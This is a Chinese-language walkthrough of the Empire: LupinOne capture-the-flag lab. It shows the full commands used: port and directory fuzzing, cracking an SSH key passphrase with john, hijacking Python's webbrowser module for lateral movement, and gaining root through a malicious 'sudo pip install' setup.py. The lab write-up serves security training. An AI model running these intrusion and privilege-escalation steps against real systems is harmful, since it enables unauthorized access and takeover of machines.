Empire: LupinOne通关过程
这个关卡通过信息收集fuzz测试出隐藏ssh私钥的文件,并对其进行爆破解密进行登录,登录后进行提权。
信息收集
已经给了靶机ip:192.169.3.132就不做扫描了
端口扫描
nmap -p 1-65535 -sV -A 192.168.3.132
只扫描到了22和80端口
访问靶机80端口,发现只有一张图片
看看页面源码又没有提示,没有什么有用的信息,作者告诉我们这是个简单的关卡不要放弃。
目录扫描
python dirsearch.py -u http://192.168.3.132/
只扫出了2个目录
/manual/index.html
/robots.txt
先看/manual/index.html,一个apache的页面暂时没什么头绪
/robots.txt很熟悉是一个爬虫协议,不准爬/~myfiles这个目录
这个带~符号的目录刚才没跑出来访问一下是404页面
看下源代码,作者让我们继续尝试
这个~myfiles目录里面没有文件,fuzz测试下有没有其他带 ~目录,用kali自带的字典跑一下
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u "http://192.168.3.132/~FUZZ"
跑出来了一个新目录~secret,访问一下发现一段话
主要内容就是我们找到了icex64的秘密目录并且ssh私钥藏在了某个地方,继续fuzz测试
(这个.找了很久一直让我以为是字典的原因)
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://192.168.3.132/~secret/.FUZZ" -fc 403 -e .txt,.html
等跑完扫到了一个文件mysecret.txt
访问一下http://192.168.3.132/~secret/.mysecret.txt ,这应该就是ssh密钥了
直接一键解码,解出来是base58加密
把解码后的密钥copy到kali保存为empiressh文件
将密钥文件转换为john可识别的hash文件
ssh2john empiressh > sshhash
john破解hash文件(之前提示了用fasttrack字典)
john --wordlist=/usr/share/wordlists/fasttrack.txt sshhash
破解成功,得到密码P@55w0rd!
用户名就是之前给我们留言的icex64,尝试ssh登录
得到的私钥需要设置一下权限,权限太松散无法实现登录
chmod 600 empiressh
用得到的密钥和密码ssh登录
ssh icex64@192.168.3.132 -i empiressh
成功登录到icex64的账号
提权阶段
查找当前用户可以执行的命令和权限
sudo -l
发现可以不用密码就能执行arsene用户目录下的heist.py文件
先去看看heist.py文件是什么内容,除了heist.py在arsene目录下还发现了note.txt文件
note.txt的内容,大概意思是arsene让icex64检查一下代码,不希望任何人发现只有icex64才能访问,他会在下一次抢劫中用到。
继续看看这段heist.py写了什么内容
调用了webbrowser模块和open方法,启动浏览器,打开https://empirecybersecurity.co.mz页面
找到webbrowser模块
find /usr/ -name '*webbrowser*'
编辑webbrowser.py文件写入脚本
vi /usr/lib/python3.9/webbrowser.py
因为引入了os操作系统模块,直接写入
os.system("/bin/bash")
以arsene身份运行heist.py文件就会反弹至arsene用户
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
查看可运行的文件或命令
sudo -l
发现pip命令是root权限并且无需密码,接下来使用pip提权,成功提权到root
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
拿到文件 root文件
cat ~/root.txt